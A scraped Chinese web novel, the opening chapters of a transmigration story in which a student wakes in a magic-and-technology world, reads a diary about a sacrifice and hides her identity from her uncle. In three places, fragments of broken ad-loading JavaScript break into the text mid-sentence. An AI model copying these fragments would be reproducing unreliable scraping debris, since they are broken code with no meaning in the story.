《在线等穿越者求生指南,急》 1. 穿越 懵懵地睁开眼睛,看见一片洁白的天花板时,林瑶还以为自己是刷题过度晕倒了被送到医务室。 可当她抱着一团被子坐起身,准备下床去找值班老师要假条,环顾四周后却惊讶地发现自己并非在学校的医务室,而是在一间简约风格的现代化卧室里。 她躺在1.5米宽的柔软大床上,盖着浅黄色绣花纹的薄棉被,右手边有个床头柜,像是红木打造,柜顶还放着一盏熄灭了的台灯,再往旁就是一扇被遮光帘挡住的落地窗。 左手边不到两米的距离则摆着套桌椅,书桌上方是三行原木书架,都摆满了书籍。 衣柜正对床侧,离房门不远,是左右拉动式的玻璃柜门,此时隐约倒映出她抱着被子坐起来的身影。 这让林瑶一下子就懵了。 啥玩意?这哪呢?既不是她自己的卧室也不是朋友的卧室,更不可能是爸妈的卧室,那究竟是谁闲得无聊把她搬到这地方来的?总不能是什么综艺节目吧,也不怕被骂上热搜? 想着想着,林瑶灵光一闪,连忙低头打量自己。 果然,原本被滴过油已经洗不干净的染色校服变成袖口有蕾丝边的漆黑长裙,手指因为长期握笔而生出的薄茧消失了,小时候不小心摔跤留在掌心的那道疤也不见了。 整双手竟然变得白白嫩嫩,特别漂亮,一看就知道从没被家里人指使着干活,跟自己这种从小就不安分的皮猴完全不同。 那一瞬间,曾经看过的几十本穿越、系统、无限流之类的言情纯爱恐怖小说从林瑶脑中呼啸而过,惊得她瞳孔地震,下意识喊出一声“卧槽!”。 待骂出声后她才反应过来赶紧捂住嘴巴,憋着口气不敢再说话,战战兢兢地等了一会,没听见外边有人走路或敲门询问的动静才缓缓地松一口气稍微放下心来。 这样不行啊。 用力掐了一下大腿上的软肉,感受到剧烈的疼痛后终于确定自己不是在做梦的林瑶把被子卷成一团抱进怀里,皱着眉,抬手狠狠地挠抓头发,烦躁得想骂人,却又硬逼自己冷静下来认真回想自己在穿越前究竟有没有遇见过什么奇怪的人或事。 应该没有的吧,她是住宿生,除了星期天下午能回家吃顿饭以外,其他时间根本不能出校门,每天就是教室——食堂——宿舍三点一线来回跑,哪有触发特殊事件的机会? 自己最后的记忆也是停留于“如果你是李华……”的英语作文上,晕倒前她还跟同桌吐槽抱怨“为什么几年过去了李华一点长进都没有,总让我们帮他写作文?”,结果一觉醒来就穿越了,甚至换了个壳子! 这算啥?李华的怨念报复吗? 哈!我平白帮他写了那么多年的作文,不报复他就不错了,他竟然还敢反过来诅咒我!真是岂有此理! 林瑶逮着个发泄对象就在心里骂骂咧咧、骂骂咧咧,但是等到理智回笼一想起现状又立马萎了。 ……唉,算啦,既来之则安之,不管怎样,我都要保持冷静先搞清楚目前的状况,看是穿越到了异世界还是依旧在原来的世界。 ……而且也说不定根本就没有什么穿越,只要我一拉开帘子就能看见外面摆着的一圈摄像机和拿话筒的主持人,这不过是个综艺节目罢了,对吧? 勉强打起精神的林瑶安慰了一下自己,抱着一丝隐秘的期待掀开被子下床,赤脚走到落地窗前伸手抓住窗帘,默默做足心理建设后双手用力往两边“唰”地拉开—— 扑棱棱。 碧蓝如洗的天空,在林瑶的世界里象征不详的暗夜乌鸦扇动翅膀,昂首发出嘶哑的叫声,越过她飞往不断向远处延伸的高矮不平的建筑群,又如守卫般盘桓于城市上空。 身穿道袍,腰间悬挂紫金葫芦、脚踩长剑的道士捋着白胡须,悠然悠哉地飞至半空,边用千里传音符与好友闲聊边投喂某只落单的小乌鸦。 头顶戴着软塌塌的尖角帽,跨坐在扫帚上做巫师打扮的少年俯身抓稳木棍,于高楼大厦间疯狂炫技漂移,笑得肆意又张扬,只顾追求刺激,压根不把交通守则和自己的生命安全当作一回事。 而不停摁喇叭试图叫人停“车”的,瞧着像是交警的执法者骑着一辆摩托车样式的飞行器紧紧追在他身后不放,却怎么都追不上,还反被挑衅,于是被气得破口大骂,脸红脖子粗。 周围一圈奇装异服并驾驶各种交通工具的行人(甚至有些还不是人)对此早已见怪不怪,只在他们快撞上自己的时候才懒洋洋地往旁避开。 先前心情复杂,双手仍紧紧抓着窗帘的林瑶瞧着眼前一幕:“……” 她震惊了。 玄幻、西幻、现代科技,妈呀这到底是什么超级大杂烩? 虽说异世界的世界观不一定同地球相似,但成分复杂到这地步也太过分了吧?!即便是现在的仙偶剧都不敢这么一锅炖,就不怕观众把编剧喷成自闭吗?! ……啊等等,倒也未必,毕竟剧粉的战力超强,以一打十不是问题,更何况吵得越厉害热度也越高嘛。 总之,这种诡异的画面,带给人的冲击感无异于土方先生拿蛋黄酱做饺子馅、美国人当着意大利人的面故意往披萨里加菠萝,槽点多到无处可吐了呀! “……我要静静,别问我静静是谁。”林瑶莫名虚弱地后退几步,跌回床铺抬手扶额,脸上几乎写满了痛苦与茫然。 残忍的画面以无可抵挡的冲势强行打破妄念,意识到自己真的穿越到异世界而非谁在整蛊后,她陷入了长久的沉默。 为什么是我? 少女忍不住想。 为什么偏偏是我?穿越这种事不该发生于那些天命之子的身上吗?我就只是个普通的高中生,难道老天爷还指望我去拯救别人或者世界吗? 开玩笑,我连考过一本分数线的信心都没有,怎么可能突然爆发小宇宙去干碎反派boss啊?就是当盘菜都不够资格上桌! 我想回家,回学校……老妈都说好今晚会给我送宵夜的,有凉拌牛肉呢,还有排骨玉米汤,如果能回去,我保证吃完胡萝卜…… 林瑶安安静静地坐在床上,一句话也不说,抬起的手遮挡了大半脸颊,从外边看进来根本看不清她此刻的表情。 突然,她狠狠抹了把脸,深吸一口气重新站起,眼中的迷茫消散,逐渐变得坚定, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛在内心做出了什么重大的选择,行动也开始迅速。 她率先扑向了最有可能隐藏情报的书桌,尽量快又仔细地寻找有关原主的信息,最好能赶在有人过来之前知道原主的姓名,掌握基本的人际关系网,至少不要一开口就暴露。 虽然只是简单扫了眼,但根据外面谁都能轻松上天的情况,不难想象自己若是被识破会遭遇什么折磨,说不准连灵魂都会被消灭掉。 她才不要呢! 可是翻找过后让林瑶惊讶的是——放在这里的所有笔记居然全都是由中文书写,连个英文字母都没找到,不仅如此…… 少女怔怔地坐在椅子上发愣,眼前摊开来摆在桌面的,是自己最熟悉的教科书。 语文和数学。 《论语》和三角函数公式。 怎么可能? 林瑶感到难以置信,本就隐隐胀痛的大脑控制不住地产生了一丝错乱感,精神越发恍惚。 倘若不是地理书上标注的国家并非中国,倘若刚才透过窗户看见的不是神奇的魔法与仙术,恐怕她就要以为这里不是异世界而是某个平行世界了。 好比本命年穿了红衣服还要戴绿帽,对海鲜过敏的人不怕死地主动吃海鲜,像《论语》这样的书出现在异世界就是很怪异啊!难道你要说孔子他老人家也一起穿越了吗?!牛顿先生带着他的第一定律跟着扎根于此吗?! 太荒诞了,这处处透着违和感的荒诞不经。 不管怎么想都很奇怪吧?就没有什么时空管理局的牛逼大佬出来管一下吗?有人在盗窃我们世界的文化珍宝哎!我能不能喊律师啊? 可恶! 抓狂般地恶狠狠臭骂一顿把所有的郁闷全部发泄掉后,分析不出原因的林瑶被增添的复杂谜题逼得头疼,皱着眉抬手撑住太阳穴,再次陷入了静默。 “……” 其实她原本是不抱任何希望的,毕竟一个世界有一个世界的文化,没有接收原主记忆的她怎么可能懂得异界的文字?她都做好自己是个文盲的准备了,谁能想到结局竟如此出乎意料? 莫非这是什么穿越大神给的福利?或者早有前辈来到此处将华夏文明发扬光大?又或者她穿越的这件事本身藏着什么阴谋? 否则两条完全不同且互不相连的河流诞生同一支流的可能性实在太小太小了,小到几乎算是一个奇迹。 想起不久前望见的御剑飞行的道士,林瑶更倾向于第二种解释,这也让她安心不少。 盗窃就盗窃吧,无论如何,能在陌生的异世界遇到熟悉的事物,或许未来还能碰上跟自己讲同一种方言的老乡,少女心里瞬间就没那么害怕了。 呼—— 林瑶缓慢吐气,暂时抛下谜题不管,继续埋头寻找有价值的东西,很快就找到了未拆封的试题x3,头绳x1,言情纯爱类小说x15,背包x1……几乎都是一些提供不了原主信息的没啥大用的东西。 于是检查完书桌与木架的她半蹲着拉开最下层的抽屉,本以为会一无所获,结果却意外发现了一本用牛皮纸做封面的棕色笔记本。 ——那是一本日记。 2. 谜题 日记? 没想到真的有意外收获,林瑶大喜,控制不住情绪,万分激动地捧起本子“mua”地狠狠亲了一大口封面。 日记好啊日记好,谁说正经人不能写日记的?写日记是好文明! 她迫不及待地拉过椅子坐下,翻开第一页认真阅读里边的内容。 「3015年6月21日 唉,因为妈妈工作调动,我们搬到了贝克斯,虽然这座城市比老家要小,经济也不太发达,但我非常喜欢海鲜,所以那点小毛病我可以忽略。 嘿嘿,这时候就要赞美一句:“主啊,感谢您创造了大闸蟹、三文鱼和青贝螺,我永远爱您!” 对啦,还得打电话告诉舅舅我们搬家了才行。」 恩?林瑶看到这里不禁眉头一皱。 原主居然是位信教人士吗?那我以后也要学那些教徒每天祈祷三次,星期天还要去教堂做礼拜? 真麻烦……话说祂老人家是觉得地球的信徒太少所以特意跑异世界招人来了?可惜,我只信大慈大悲渡世人的南无加特林菩萨。 她继续往下看。 「3015年8月14日 最近天气不好,浓雾遮挡了视线,对近视的人来说真的很不友好,光是我偶然瞧见的因为看不清周围而撞翻别人飞行器的惨案就有十几个了!主啊,请您保佑那些无辜被撞的可怜人平安无事。 PS.妈妈今天咳嗽得有点厉害,吃了药都没好,明天劝她请假一天去医院看看吧。」 「3015年8月19日 妈妈还在咳嗽,舅舅从首府寄来一包中药,据说专治咳嗽,希望有用……」 「3015年9月23日 妈妈生病了,医生说是不治之症,要住院动手术,但失败率很高,让我做好……做好……(字迹模糊) 主,我们至高的伟大的主啊,我恳求您,恳求您保佑后天的手术一切顺利,请您救救我妈妈!我愿为您献上满意的祭品,只求我家人安然无恙!」 「3015年10月5日 妈妈去世了。」 黑色的字迹最终停留在这一行,后面的内容不管她翻多少页都没有了。 “……”林瑶紧紧盯着末尾那段莫名透出一股走投无路的癫狂感的凌乱笔迹,盯着句中的“祭品”两个字,大脑飞速运转。 原主的母亲病重,为了救家人她向神明献祭,然后我就穿越了,难道那个倒霉的祭品是我? 倘若真是如此,那原主呢?她的意识依旧存在吗?又藏在哪?脑海?其他地方? 献祭最后究竟是成功了还是失败了?我占据了她的身体会不会是某种代价?神明会让我替她偿还吗? 这个世界真的有上帝那样的造物主吗?我能不能也向祂许愿?不不不,看原主祈求过后她妈妈依然去世这一点,造物主可能根本不存在,或者祂性格恶劣,就喜欢欣赏人类绝望的模样呢?不能莽撞行事! 问题太多且缺乏关键线索,林瑶一时半会分析不出什么,只能琢磨着待会再仔细搜索一下整栋房子。 可是就在这个时候,她忽然听见外面有沉重的脚步声在慢慢靠近卧室。 来了! 林瑶条件反射地合上笔记本,绷紧身体,双手死死掐着封面,把牛皮纸都掐皱了。 但她很快就发觉自己反应过度,连忙深呼吸努力放松下来,假装与平常无异。 那道沉重的脚步声最终停在了门前,接着便响起一阵有规律的不轻不重的敲门声。 笃笃,笃笃。 林瑶故作镇定地清了清嗓子:“请进。” 随着她话音落下,“吱呀”一声,门被打开,走进来一位像是三十多岁的中青年男士。 他戴着礼帽,黑发黑眼,五官颇为端正,面部轮廓柔和,穿着服帖的黑西装,衬得整个人身形修长,走在路上回头率一定颇高。 ……唔,给人的感觉很温和啊,莫非这位是舅舅? 林瑶暗暗心想,却不知道现在是什么情况,故不敢率先开口,只能暂时以沉默应对。 男人对她的安静似乎并不感到意外,反倒认真打量少女的脸色,随即露出忧虑的神情,关切询问:“感觉好点了么,小瑶?你之前晕倒真的吓了我一跳。” 她默默摇头,仍然不出声,表现出一副因母亲去世而不愿再开口讲话的疲惫样。 “我知道你没法接受母亲去世。”对方果然没发现不对,仅仅叹了口气,“这件事对我来说也是一样的,琳是我唯一的妹妹,你是我唯一的外甥女,你们都是我最重要的家人。” “我已经失去了你母亲,不能再失去你。”他面含担忧,望着外甥女的眼神却藏着一抹沉痛,以及深深的疲倦,这让林瑶心里很不是滋味,“所以如果觉得身体不舒服或者在外面遇见了什么麻烦千万别藏着掖着自己解决,一定要跟我说,舅舅会帮你的。” ……对不起,“舅舅”,你大概又失去一位亲人了。 林瑶翕动着嘴唇,有心想说点什么,却自知没这个立场安慰对方,况且自己的穿越是否跟他外甥女有关还不清楚,作为受害者实在没办法感同身受,只能暗自叹息,理智地继续保持沉静。 林溪晗见外甥女自妹妹病故后一直封闭内心不愿与外界交流、浑浑噩噩的样子,眼底的忧愁越发深了,却又不敢采取强硬手段,怕把她逼得更加自闭。 于是这位成年人也跟着闭嘴了,只时不时抬头偷瞄对面的女孩两眼,小心翼翼的,好似在担忧哪里会吹来一阵风将这朵脆弱娇嫩的花折落枝头。 就这样,两个人你看着我我看着你,谁都不张口说话,屋内的气氛顿时变得沉重凝滞,形势十分不妙。 不能让事情的进展停在这里不动啊,拜托了谁来都可以,赶紧推动剧情呀!舅舅!舅舅!你别管自闭的我了快继续往下讲呀!我还等着你透露更多信息呢! 林瑶急都急死了,又不敢催,在内心抱着头崩溃地尖叫了好一会才终于决定主动出击打破当前困境。 “我晕倒之后……外面怎么样了?”她思虑许久,感觉还是打探原主昏迷后发生的状况相对合理些,不容易引起怀疑。 而林溪晗这边…… 原本 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 活泼可爱的外甥女自从遭遇变故后总是把自己关进房间,性格甚至变得有些阴沉不爱笑了,前后过于巨大的反差使得他特别担心,唯恐对方一时冲动做出什么无可挽回的傻事来。 因此即便要准备葬礼事宜、帮女孩向学校请假、处理工作上的问题,每天忙得像个陀螺一样转不停他都没有忘记少女,隔三差五地就会跑上二楼隔着门板与她分享今日又发生的有趣故事,试图开导安慰她,哪怕从未得到过对方的回应,他也没想过放弃。 如今看到对方终于肯打开心房走出卧室恢复与外界的联系,林溪晗的眼中情不自禁流露出一丝欣喜,忙不迭道:“现在所有人都回去了。” “你饿不饿?舅舅给你下碗海鲜面好吗?或者你想吃点别的?” “……煮碗海鲜面就可以了,谢谢你,舅舅。”所有人都回去了? 林瑶想起自己目前穿的衣服是件黑色长裙,而男人穿的也是一套黑西装,外加母亲病重去世、对方的说法……是举行葬礼吗?原主在葬礼上昏倒了? 似乎可以利用这点支开舅舅创造一个探查周围环境的机会,不过具体要怎么做才显得自然呢? 短时间内想不出啥好办法,况且肚子这么久不进食也确实饿了急需补充能量,林瑶斟酌着,故意抿起嘴巴低下脑袋轻声道:“那个……舅舅,我想一个人待会,等等再吃饭,可以吗?” 其实她是想去卫生间洗把脸清醒清醒,顺便照照镜子瞅瞅原主长什么样,她还挺好奇的。 “当然。”青年眼神柔软,对自己唯一的家人是有求必应,“那我先去做饭,好了我再叫你。” 林瑶点头,目送这位异世界“舅舅”离开卧室,确定对方暂时不会过来打扰自己她才敢彻底放松,腿一软摔进椅子里,颤抖着抬手摸上后脖颈及背,这才发现自己竟在不知不觉间出了身冷汗。 很好,没有被人发现异常,不错的开局,接下来保持这种势头继续努力!加油,林瑶你就是最棒的! 给自己上完一个纯粹是心理安慰的无用buff后她就没那么慌了,握紧拳头狠狠捶了下发软的大腿硬逼自己站起来,开门出去对二楼进行初步探索。 很快她就在走廊尽头找到了关着门的卫生间。 异世界的浴室跟他们的没什么区别,同样有个抽水马桶、一个浴缸、一个洗手台、一面镜子……毫无特色的风格,不禁让人感到失望。 林瑶站在洗手台前,直直盯着悬挂在墙上的镜面。 倒映于镜中的,是一位身穿朴素长裙、披散着深墨色长发、黑杏眼、高鼻梁、浅红嘴唇、脸色有点不正常的白,很有东方古典韵味的清秀少女。 不同的世界,本该毫无交集的两个人,但林瑶却奇异地非常熟悉镜子里的这具倒影,甚至可以说此世界再没有谁能比她更熟悉。 ——因为那是她的脸。 微风拂过,吹起了一缕乱发。 她似有所觉地抬起头,原本紧闭的天窗不知何时竟悄悄打开了。 一只漆黑的乌鸦收拢翅膀站在那里,低垂着头,鲜血般的竖瞳直勾勾地注视着她。 3. 整理 乌鸦站在天窗的窗台上,鲜血般的竖瞳渗透着一股无机质的冰冷,仿佛它不是在注视一个活生生的人类,而是在与一个刚爬出坟墓的亡灵对视。 猝不及防地撞上那道奇特诡异的目光,林瑶心里一跳,条件反射地后退半步,下意识抓起手边的木梳横在胸前做防御状。 定了定神,她再度望去,那只奇怪的乌鸦已经消失不见,仿佛从未出现过。 唯有大开的窗户昭示她方才看到的一切并非幻觉。 “……” 不敢问也不敢想,林瑶做了个深呼吸,聪明地决定忘记这件事,就当刚刚什么都没发现。 少女镇定地拧开水龙头,并拢双手接满一捧水,然后弯下腰将水泼到脸上,那份冰冰凉凉的触感瞬间激得她忍不住哆嗦,不过内心却因此变得冷静不少,彻底接受了自己短时间内无法回家的现状。 既然我被召唤,那就说明肯定存在一处能让我来到此地的通道,加上这是一个拥有魔法的世界,所以只要努力修炼,迟早有一天我就能强到回去! 林瑶直起身,拧紧水龙头,再次抬头望见了镜中人的坚定眼神。 那么第一步……就先填饱自己的肚子吧。 *** 鲜甜的龙虾,白嫩的蟹肉,几根翠绿的青菜叶,与金黄的面条是最完美的搭配,香滑浓郁,不禁令人食指大动。 早已饿得前胸贴后背的林瑶丝毫不顾形象,一手捧碗一手拿筷,匡匡干饭,若非理智尚存,她整张脸都要埋进去了。 临近高考,正是紧张刷题的时候,恨不得一分钟掰成两半使,刷完数学刷英语,这种火力全开疯狂用脑的状态本就特别消耗体力,外加穿越这事带给她的巨大压力,林瑶的进食量自然要比之前多上一倍。 林溪晗却完全不觉得奇怪,反而一脸心疼地瞧着干掉一碗准备再接再厉干掉第二碗的可怜外甥女,语气轻柔充满怜爱:“要不要舅舅再煎份溏心蛋?” 为了方便做饭,他脱掉外套只留一件白衬衫,解开最顶端的纽扣,将两边衣袖都挽至手肘处。 “唔唔。”林瑶十分艰难地把嘴里的面条咽下去,摇摇头,“不用啦舅舅,我已经饱了,谢谢你。” “傻孩子,跟舅舅有什么好客气的?”他被逗得笑了一下,抬手指指自己的嘴角提醒道,“沾上了。” 吃饱喝足,林瑶抽出纸巾擦干净嘴巴,望着到目前为止对自己一直很友善的便宜舅舅,藏在餐桌下十指相交的双手无意识地紧了紧,但还是装出一副不懂该如何面对唯一的亲人只能没话找话的态度故作自然道。 “说起来,刚才我在卫生间洗脸的时候被一只鸟给吓到了呢,就是一抬头,模模糊糊地看见有道黑影静悄悄地站在窗边盯着我,可吓人了。” 虽然最好不要深究,但那只突然出现又消失的乌鸦实在太诡异了,它看自己的眼神也让她非常介意,害怕自己占据原主身体的事情被发现又被追杀,如果搞不清楚原因的话她今晚绝对会睡不着觉的。 “噢,你说那个呀。”林溪晗稍微想想就明白怎么回事了,微笑着安慰明显受惊的外甥女,“不用害怕,那是夜鸦,是主的使者、主的耳目,在替主巡视人间,警告一切怀抱恶意者,它可能是想找个歇脚的地方才会停在我们窗边。” 懂了,锦衣卫。 林瑶有些紧张地搓了搓手指,假如是从不干坏事的原住民,那自然不必担心,可问题她不是呀! 更何况原主还疑似在家偷偷举行了献祭仪式,在天使眼中这算不算投靠魔鬼对上帝祂老人家不敬? 而且为什么主的使者会出现在那?它是不是因为原主的行为不当早就注意她,接着又察觉到我穿越者的身份了?那只乌鸦该不会把这件事上报给领导吧?可恶啊,我能不能先一步把它找出来炖掉? 大概是从少女的表情中看出了她的担忧,这位十佳好舅舅赶紧出声安抚:“没事的,小瑶,假如夜鸦真的发现你有问题,那裁判所的人现在就已经登门拜访把你押走了。” 林瑶:“……” ——谢谢,舅舅,有被安慰到。 不过,裁判所?是她理解的那个“裁判所”吗?果然有神的地方就容易诞生宗教,哈,该不会还有所谓的赎罪券吧?难道主也缺钱用? 想起历史书及各种科普向视频里描述过的中世纪教会,林瑶暗自蹙眉,但很快又舒展开了,因为这种事防也防不住,倘若真被抓走她能咋办,难不成跟教会打一架?这才是找死吧? 唉,算啦,反正船到桥头自然直,不管了。 林溪晗一直在关注她的神情,见状有些迟疑:“要是小瑶你实在害怕,那舅舅帮你问问洛克主教?” 林瑶闻言先是惊喜,但随后又觉得这样会不会太给人家添麻烦,毕竟从古至今教会都不是什么好相处的对象,跟他们扯上关系肯定会招惹来祸端,便摇头拒绝了。 “不用啦舅舅,我就随口说说,没必要因此特意去麻烦主教大人。” “你的事哪有小事呢。”男人笑了笑,“而且我们明天也要去教堂做礼拜,所以不算特意。” 不是,真的要做礼拜啊?拜托这里可是异世界!就不能拿出自己的特色吗?整得跟地球一模一样,这穿越了和没穿越有啥区别? 作为一个畅游网文界数载的资深读者,林瑶看过无数主角的骚操作,也见识过当代作者的精神状态究竟能有多离谱,饱受熏陶的她面对这种古怪状况,脑子里瞬间就闪过了许多可怕的阴谋论。 “既然你已经没有别的疑问了,那舅舅想跟你谈点正事,可以吗?小瑶。”林溪晗打量着女孩的脸色,小心询问。 舅舅你对“我”的关心是不是太过头了,简直像在对待一只脆弱的蝴蝶……她点点头。 “是这样的,小瑶你也知道我现在是你唯一的合法监护人,按照法律规定我不能将你送去福利院,更何况我也不放心留你一个人生活。”他斟酌着,“我的工作单位离贝克斯非常遥远,尽管我能来回跑,但始终不如同处一座城市方便,所以……我想问你愿不愿意搬过去跟我一起住?” 林瑶:“!!!” ——居然还有这种好事?! 她立刻兴奋了起来。 无论自己做的准备有多充足,若长期与原主的身边人打交道,难保有天不会露馅,而搬去一个新地方就不一样了,除开舅舅,周围都是不认识的陌生人,她完全可以从零开始慢慢构建自己的交际圈,不必再担心会有谁突然冒出来戳穿她的身份了!

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 努力压抑住内心的狂喜不让它表露在脸上,林瑶假装动摇地沉默一会,“勉强”地点头同意。 林溪晗顿时松了口气,微笑道:“那我明天去学校帮你办理转学手续。” “是去首府吗?”日记里有提到舅舅在首府待过。 “不。”青年摇了摇头,“我们去帝都。” “之后,你可能会在圣拜纳迦的附属中学度过一段不算短暂的轻松愉快的校园生活。” 圣拜纳迦。 埃尔兰帝国境内唯一一所集魔法、修真、医学、机械制造、军事指挥、艺术、汉语言文学、战斗、刑侦等所有专业于一身的综合性大学,亦是……脱离帝国管辖,直属教会的人才培养基地。 ***** 告别舅舅,探索完整间屋子,只找到原主的学生卡和身份证明,其他都是一些没多大价值的东西。 不过奇怪的是,她在屋子里找不到任何一台通讯设备,别说手机了连座机都没有,那原主怎么跟外界联系?总不能真做个原始人吧? 于是毫无发现的林瑶回到卧室,重新坐在书桌前,拿出攻略fgo高难关的气势,翻开笔记本开始进行初步的记录总结。 首先整理目前的疑点。 1.为什么原主的名字与相貌同我完全一致?这是不是发动献祭的必备条件? 2.原主的意识究竟去了哪里?她会不会在关键时刻跑出来妨碍我的行动?让我来到这个世界并取代她生活的真是她本人吗?舅舅是知情人么?或者说他就是幕后黑手? 3.回家的线索又是什么?一般而言,教会及国家领导人都会掌握大量秘密,那么他们身上是否藏有能让我回家的办法? 4.夜鸦停留的原因?它有没有发觉我的异常?会向教会报告捉拿我吗?我会被杀掉吗? 5.异世界的文化竟然与地球高度相似,包括建筑风格、文字语言、穿衣打扮、生活环境,是巧合还是有某位穿越者前辈改变一切?我能不能找到同伴? 6.造物主是否真的存在? 基于以上几点,她又列出接下来的目标清单。 1.变强。 2.查明原主的行踪,试探舅舅的态度。 3.组建势力。 4.寻找教会或国家高层人员,向他们询问回家的方法。 写到这里,林瑶停笔,想了想又在第4条增加具体的期限。 我刚过17岁生日,那老爸老妈应该快40了,如果时间拖得太久……所以最好10年就搞定,这样找工作也来得及,当然还得高考,我可不想一辈子都是高中学历。 “应该差不多了吧。”她嘟哝一句,拿起笔记本认真记住上面的内容后又撕掉那一页,起身找到打火机将它烧成灰烬,埋进花盆里做养料。 等做完这一切林瑶才闭眼伸了个大大的懒腰,嘴里不禁发出一声舒服的呻.吟,接着放下胳膊,侧身倚靠着书桌边沿,难得放松地支起手肘撑着脸颊欣赏窗外风景。 叮铃叮铃。 阳台内系于花枝上的莹白铃铛,随着轻风吹拂悠然响起清脆悦耳的铃音。 听见响声,少女的目光不由得被吸引过去,然后她就看见了那根落在花盆边的黑色羽毛。 4. 白鸽 全知全能、至高无上的主睁开了祂的眼睛。 于是月亮隐没于浓厚的云层之中,太阳从海平面徐徐升起,温暖的光芒驱散黑暗,将大地染成金黄,温柔地唤醒了沉睡的万物。 夜鸦群扑腾着翅膀盘桓于城市上空,灵活地穿梭在羊肠小道,作为主的耳目,勤勤恳恳地替主巡视属于祂的人间,偶尔也会驻足在某个早餐铺的门前休息片刻,仰头接受小孩子的面包投喂。 原本安静的街道逐渐响起嘈杂之声,地上是一辆辆绘有家徽的马车奔驰而过,天空是交警开着飞行器分成数十个小组维持秩序,努力阻止欲要赶往教堂做礼拜的疯狂信徒,不让拥挤的人群堵住交通要道。 更早起的环卫工人拎着扫帚慢悠悠地清扫昨日留下的痕迹,可爱的花精灵在队长的带领下集中在路边,整齐有序地向鲜花施展神奇魔法,将它们最美丽的模样永远地定格在了此时此刻。 摊贩推着小推车边走边叫卖,约好一起打篮球的学生嬉笑着踏进球场,赶去上班的可怜社畜在鸣笛声中急忙骑着坐骑起飞…… 整座城市随着众人的苏醒开始活了过来。 一缕金色的阳光透过窗帘缝隙照进昏暗的室内,面对造物主的石像半跪祈祷的黑袍男子缓缓抬头,先是看了眼时间,又收回目光闭上双眼,略微翕动嘴唇无声念着什么,姿态很是虔诚。 直到短针指向辰时,洁白的灵鸽落在脚边,他才从漫长的祈祷中醒来,失去神采的空洞眼眸也一点一点恢复至往日平静,重新焕发生机。 男人站了起来,最后看一眼神像,便扭头离开这间祷告室,边走边脱掉身上的教袍,露出藏在里面的白色衬衫,以及兜帽下的温柔脸庞——竟然是林溪晗。 他随意打了个响指从卧室的衣柜里召来件新衣,一起带进了浴室,片刻后打理完毕,又顶着半干半湿的头发撩起衣袖到厨房准备早餐。 围着围裙,熟练地打蛋煎饼浇酱汁撒葱花,林溪晗隔空取来一个保温盒把煎好的蛋饼装进去,还榨了杯鲜果汁放到旁边。 一切都准备妥当后,他拎着包装袋从自己的临时住所出发,在马路边拦住一辆出租车对司机说了个地址。 车辆进入小区停在某栋单元楼前,林溪晗掏出手机扫码付钱后搭电梯去了十二楼,看着紧闭的防盗门,伸手摁了下门铃。 叮——咚—— “!”隔着一道厚重的门板,他清楚听见屋里的人受惊之下猛然加速的心跳,紧接着就是一阵勉强保持镇定却仍显慌乱的脚步声。 等了差不多两分钟,房门打开一条不大的缝隙,门后边探出少女半张略显稚嫩的清秀面容。 见来者是自己认识的人,她眼睛一亮,像找到依靠般肉眼可见地放松下来,笑得眯起了眼,往旁走两步让对方进去。 “舅舅。”可爱的外甥女非常乖巧地喊了他一声。 “嗯。”林溪晗心情愉快地答应,又说,“还没吃早餐吧?我做了份煎饼给你。” “啊这……”也太麻烦您了。 大概是想这么说,但感觉会显得两人很生疏,女孩又把话咽了回去,笑容越发真切:“谢谢舅舅。” “跟我不需要客气。”林溪晗进门换了拖鞋,将手中的包装袋递给对方,余光扫向全场,注意到客厅有被翻找过的痕迹,伸出的手微不可察地顿了一下,但很快又恢复正常,假装没发现外甥女的小动作,甚至贴心地主动道,“快点吃吧,再不吃就要凉了。” “好的。”林瑶接过美味的早餐,却没急着享用,反而转身先收拾有些乱的沙发,给长辈泡了杯茶,招呼人落座后才打开塑料袋,安静地吃起煎饼,时不时喝口草莓果汁。 林溪晗坐在旁边的沙发上,放松地倚靠软垫,含笑望着正啃蛋饼的外甥女,越瞧越觉得可爱,就像一只抱着松果的小松鼠,谁看了不喜欢呢? 对大人的想法一无所知的林瑶在吃饱喝足甚至下意识地咂咂嘴后才终于反应过来,连忙扭头询问:“舅舅你吃早饭了吗?” “我不需要。”林溪晗微微一笑,“我已经过了必须进食的阶段。” ……这不就是辟谷吗?至少得筑基了吧?真是看不出来呀,舅舅居然还是个强大的修真者。 林瑶习惯性地吐槽一句,完了才意识到什么,注视对方的眼神骤然发亮,内心忍不住激动起来。 对哦!这不就是现成的能引领自己变强的每个动漫主角都必定配有的随身“老爷爷”吗?!哪怕他不够厉害也不要紧,能帮忙指条路就行!我目前只缺这个! 在找到希望的强烈兴奋下她猛地握拳——妥了!这把必赢! “怎么了?”见女孩久久不说话,林溪晗还以为对方是没吃饱又不好意思开口,犹豫了一会试探提出,“要不我们在路上买点?你喜欢蛋包饭还是螺蛳粉?” “……不,不用了,舅舅,我饱了。”为什么?!为什么异世界还能有蛋包饭和螺蛳粉啊?!前辈你究竟留了多少华夏特产在这里呀?!你就是来个仰望星空派或者草莓麻辣豆腐也好啊!虽然我一定不会吃! 林瑶疯狂吐槽吐得整个人都要虚脱了,而且不晓得为啥,自从穿越后她感觉自己吐槽的功力是日渐上涨,频率远超在学校坐牢的时候,估计是因为槽点真的多到离谱吧,不过…… 她沉默了许久,低下头没让对方看清自己的脸,只能听见声音:“……中午我们吃螺蛳粉吧,舅舅。” 那道声音很轻很轻,轻得仿佛风一吹就全散了。 “好。”男人没有追问女孩显著的异常,依旧是温柔的笑,“我们回来就买。” ***** 由于时间紧迫,林瑶昨天只来得及探索原主的家,并未出门,当然也有害怕遇见熟人或危险的原因,这次去教堂做礼拜更是全程跟紧身边的林溪晗,完全不敢远离他半步,非常遵从心的选择。 但也因为有对方挡在前面,她稍微放宽了心情,难掩好奇地左右扭头张望四周。 远处的高楼大厦,街边的商铺,宽敞的马路,闪烁的红绿灯,十字路口执勤的交警,飞驰的轿车,打电话的行人,玩滑板的学生……多么熟悉的日常。 这一次,不是站在高高的楼层隔着一扇透明的玻璃窗俯瞰,而是实打实的近距离接触。 纳入眼中的一切,以最强硬的姿态打破了她内心无形划定的界线,高度相似的两个世界逐渐重叠。 